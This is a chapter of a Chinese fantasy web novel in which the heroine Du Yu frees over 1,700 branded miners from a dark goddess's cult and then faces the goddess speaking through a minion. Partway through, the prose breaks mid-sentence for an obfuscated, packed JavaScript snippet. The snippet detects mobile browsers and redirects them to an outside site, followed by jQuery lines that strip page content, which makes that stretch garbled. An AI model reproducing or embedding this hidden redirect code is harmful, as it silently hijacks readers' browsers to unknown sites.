“具体的我也不知道，我只负责收集这些畸形的灵体，神使大人只说这是为了‘狂欢终宴’准备的。” 43. 靡靡音 第四十三章 这褐线虽然能借用靡靡音的能力，但看样子在靡靡音教会没什么实权，接触不到真正的核心事物。 支支吾吾半天，只憋出一个“神明都会出席的宴会”的解释，看着就对“狂欢终宴”了解不多。 都郁问不出别的什么，紫火随着她的心意动了动，褐线顿时像被踩了尾巴一样尖叫起来，“我我我我都说了，你答应过我的，不许反悔！” “我只是给你说服我的机会，我可没答应你。” 都郁“啧”了一声，非常嫌弃这褐线的表现：“而且，你都给邪神打工了，还敢把性命寄托在别人的诚信上？” “如果都说话不算话，这世界不都乱套了？” 褐线大声嚷嚷起来，“邪神的定义都是议会那群软蛋订的，他们不还是暗地捧净海的臭脚？” “神怎么能用邪恶来衡量？你当人的时候难道没有吃过肉吗？” “啪啪啪，”都郁鼓起掌来，“你说的有道理。” 褐线僵直了一瞬，难道猜错了，对面信奉的不是那些亲近城邦的伪神？ 她正心中惴惴不安，就听见都郁话风一转，“既然你不认为自己现在是人类，随自己心意摆弄人类，人类自然也能随便杀了你，这是你认可的规则，不是吗？” 褐线被问的一窒，一时找不到言语反驳，心思一转：“我不管，你就是不能杀我！你不是在意这些人类吗，你杀了我，她们的肉身支撑不了多余的灵体，一样会死！” 都郁的紫火虽然能隔绝褐线与外界的联系，阻止褐线逃跑，却不能烧断已经建立的联系。 这褐线话落下，灵界之中，都郁明显感知到矿工们手中的灵体球上，外面紧紧包裹着的那层褐色突然躁动起来，其中的灵体如同水倒进了油锅，剧烈的挣扎起来。 普通人没有精神力，很难对灵界造成冲击。可眼下由极端情绪凝聚成的涟漪在灵界中不断扩散，都郁能清晰地从其中感受到无尽的痛苦和迷茫。 明明只是接受了一次再普通不过的任务，她们为什么会落到现在这样的境地？ 怨气弄得快要化为实质，都郁神色一凛，在这股涟漪中感受到了一丝熟悉的气息——祭坛的气息！ 圆型祭坛中部，支撑着紫火燃烧的能量，和眼前这股能量有相似之处。只不过这股能量比祭坛内部的要暴戾，能量也没那么纯粹。 尽管如此，都郁也从靡靡音教会的计划中嗅到了危险的气息，毕竟，还有什么灵性材料会比人类更廉价好获得？ “怎么样，怕了吧？你杀了我，就是杀了这里的一千七百零六个人类！这是吾神赐下的圣痕，根本没办法抹除！” 褐线将都郁的若有所思当做迟疑，恐惧消散，不再抖落问号和叹号，猖狂地笑了起来： “哈哈哈哈哈怕了吧，现在已经晚了！印记激活，吾神会注视这里，即使你是某位神的神眷，敢打乱吾神的计划，也没有好下场！” “是吗？” 都郁嘴角的笑容消失，感受着灵界中震荡着的情绪涟漪，她自言自语般开口：“我不是什么好人，但我最讨厌不拿别人的性命当回事的人。” “因为——活着，真的很不容易啊。” 紫火瞬间暴涨，淹没了褐线的大笑。不仅如此，无数细小火线四散射出，落到这片灵界空间里每一个灵体上，如同一场浩大绚丽的烟花雨。 紫火刚一接触到灵体表面的褐色，“嗤”的一声，两股截然不同、但同样霸道的神力互相撕打起来。 褐线惊呆了：“你疯了！就算那位存在允许你借用神力，这么庞大的力量，你的灵体撑得住吗？！” “不劳你费心。” 都郁随口敷衍道，全部心神都集中在分散出去的一千多跟火线上。驱逐灵体上的印记比单纯的焚烧吞噬要困难得多，一个不好就会招来反噬，但她敢出手，就已经想好了对策： “系统，合成！” 没错，她用紫火去包裹那印记，目的根本不是褐线认为的吞噬驱逐。作为一个进行时的神明，她还没有狂妄到去挑战一个背地里不知谋划了多久的老牌神明。 但她自然有她的对策，紫火包裹住印记后，短暂地切割了它与灵体的联系，都郁要的就是这一瞬，此时那印记短暂地变成了无主之物。 只要是无主之物，她就可以合成！ 合成带神力的物品自然要消耗海量的点数，但都郁此时攥了一个空子—— 合成器收取点数只按照次数收费，只要材料大于三，不管材料都多少都可以合成，且消耗的材料越多提升合成物品质的概率就越大！ 【……是否消耗666点数、1306点稀释神力碎片进行一次普通合成？】 系统像是乱码了一瞬，顿了一下才跳出弹窗，都郁此时攒了好几天的信仰点将将够用，没管那长的离奇的进度条，飞速点了确认，即将枯竭的精神力海终于得到了喘息的机会。 “你你你你……” 褐线惊呆了，一时感受到的不是愤怒，而是巨大的恐慌和匪夷所思：“你到底知不知道你做了什么？！你这样做能有什么好处？！” “我知道你们这些‘伪神’……哦不，‘人神’的下属，最喜欢多管人类的闲事了，但你这样做，既得不到信仰，议会那群小人也根本不会感恩！” 褐线说到最后似乎忘了愤怒，语气痛心疾首，“你以为你这样做她们就会感激你了吗？她们清醒后反倒会怨你！” “‘人是天造地设的反叛者；反叛者怎么可能幸福’？*唯有献上全部的灵与肉，才是通向终焉的唯一途径。 “不信你看。” 褐线说完，属于矿工王耳启的灵体球停止挣扎，中间一点微弱银光亮起，勾勒出几道细线绘成的复杂图景。 都郁若有所思，在她原本的废土世界，命运只是个人类常常挂在口头的词语。可在这个世界，“命运”二字真的具备了能左右人类的权柄。 眼前王耳启灵体中展现出的，就是她命运轨迹在灵界中的折射。 她和东识午与东识玖相似，都出身于排名不高的社会抚养院，只是她比东识午早出生十几年，十几年前也没有发生什么大事。 只是人口部的某个文员在输入字数中不小心发了会呆，少打了个小数点，这个小纰漏过了层层审批，经由数个英明睿智的“大人物”之手，从计划到实施竟然没有一个人发现。 这个错误直到三千多名婴儿被“生产”出来后才被发现——整个逐日之城根本没有那么多空余的社会抚养院！ 于是王耳启她们从出生的那一刻起，就变成了逐日之城的三千多名多余的“错误”，出生就是原罪。 她们不知道议会为了解决这些问题开了多，只知道自出生以来，她们就在不同的社会抚养院里来回辗转，直到到了能够工作的最低年龄，她们直接被分配成为了刀口舔血的迷雾猎人。 迷雾猎人这份工作，意外死亡率极高，有时不仅是明面上的风险，迷雾之中危险重重，有时不过一个转头，同伴就已经摔倒在地，尸体冰凉。 从事迷雾猎人这行，能够坚持十年的，运气和实力缺一不可，但也止步于此。 普通人的她过了体力巅峰的年龄，加之精神出现重大问题，根本无法继续深入迷雾，之后的生活都是靠四处打零工，加上当初事故每月赔偿几百信用点，勉强生活。 因此，一听到绅士会高薪招聘工人，即使工作地点在迷雾，她也依旧疑虑重重地签了字。 “多么可怜的人类。” 褐线感慨道，一段记忆画面被抽取出来，看样子是王耳启刚成为迷雾猎人的时候。 脸上还带着稚气的年轻姑娘被同伴推入畸变种口中，满脸血泪地炸断胳膊，勉强逃脱，又幸运地得到了附近的强大猎人相助，捡回一命后首先感到的不是惊喜，而是深深的绝望。 因为她为了那条刚刚失去的胳膊背了十年的贷款，刚经历了九死一生，被同伴背叛痛苦的女生，没有时间舔舐伤口，就要忙着在鱼龙混杂的下城区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13723624|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四处打黑工，躲避债务。 “但是你看，她之前多么快乐，你忍心破坏她的快乐吗？” 记忆片段不断闪烁，很快跳转到一幕似曾相识的记忆。 没有经过基因编辑的优化，王耳启长相普通，毫无特色，丢进人群中找都找不到。她五官唯一有记忆的是因为长时间皱眉，眉心有着难以熨平的沟壑。 那段记忆中的她却和平时的样子大相径庭，正是都郁在矿场里见过的矿工挖矿图。 王耳启笑容灿烂，双眼的麻木被欣喜取代，总是满脸愁容的女人表情灵动，如获至宝地将矿石装到腰包，仔细地拉上拉链。 都郁在灵界中看的更清楚，随着王耳启露出笑容，她的命运已然和灵界深处的某个存在所控，灵性外边缘沾染了些许褐色，像是命运的冷雨淋过，灵魂生了锈。 “你不妨猜一下，如果你真的唤醒了她，带她离开矿场，她是会感激你，还是会恨你惊醒了她的美梦？ “命运的天平衡量万物，末日未至将至已至。你们自以为是的拯救，不过是阻止凡人获得真正的幸福罢了！” 褐线的声音蛊惑，极具煽动性。都郁没阻止她说下去，毕竟对她来说，这些邪神眷属言语间随意提到的词语都是很难得到的知识。 不过…… 没有被她诡辩性的论证误导，都郁挑了挑眉，“现在跟我说话的，是谁？” 这些话可不是说几句就要跳脚的褐线能说出来的。 “哈。” 褐线发出短促的一声笑，线首尾相连，两股拧在了一起，如蛇一般缠绕游走。 明明外观没有任何改变，褐线的气息却危险了数倍，吐出的声音却柔和软媚，像是当初伊甸园中引诱夏娃吞吃禁果的毒蛇在耳边“咝咝”吐信。 “她竟然将您这位新生的伟大存在错认成了蝼蚁，真是我的过失，之后我会让主教管束她的。” 都郁目光微顿，在她的感知中，原本属于褐线的灵体被压缩到极致，缩到身体的角落里瑟瑟发抖，体内一丝比睫毛还要细十倍的气息此时占据了主导。 明明那气息淡得让人怀疑下一秒就会消失，却是都郁在这个世界中遇到实力最恐怖的存在！ 都郁背后冒出一层冷汗，她隐隐预感到，如果褐线身体里的那股微弱能量再多一点，哪怕是一丝，她都没办法战胜对方，甚至连逃离都会变得无比狼狈。 要知道，即使抛开神火不谈，她也是一个没有特质的A级异能者，用游戏的话说就是已经“站在了族群的顶端”，是人类中的佼佼者。 可就是她，面对眼前这位不知什么的存在，心中都涌出了无法战胜的无力感，对面的身份已经昭然若出。 神明！ 只有神明才会与人类之间存在遥远到难以逾越的鸿沟，也只有真正的神才会让拥有神火的自己如芒在背。 但敌人越是强大，都郁就越是不能露怯，一旦对方察觉到自己的虚弱，就不会像现在这样“好声好气”地跟她说话了。 都郁淡淡一笑，“只是管束吗？” “她毕竟是我的信徒，而且，她比你来的更早。” 都郁丝毫不让：“迷雾之中都是无主之地。” “看来你是非要破坏我的矿场了。” 褐线的声音竟然真的带了些遗憾，“我还以为我们会是朋友。” 似乎从都郁的无语中解读出什么，褐线话音一转：“真是年轻啊，等你见过终焉就会明白，在权柄面前，一切的利益冲突都不过是笑话。” “朋友反目，仇敌联手，为了提升序列，争夺要素，染指权柄，神明可与人类没有任何区别，甚至，会做的更难堪。” 褐线体内那一丝神圣的气息飞速消散，都郁无法阻止，显然，靡靡音宁愿让这一缕神力回归灵界，也不愿意交到疑似能吞噬的都郁手中。 “看在小朋友的份上，我给你一句忠告：不要再插手这里的事。 “等你见过【命运】，你会明白，我们是天生的盟友。”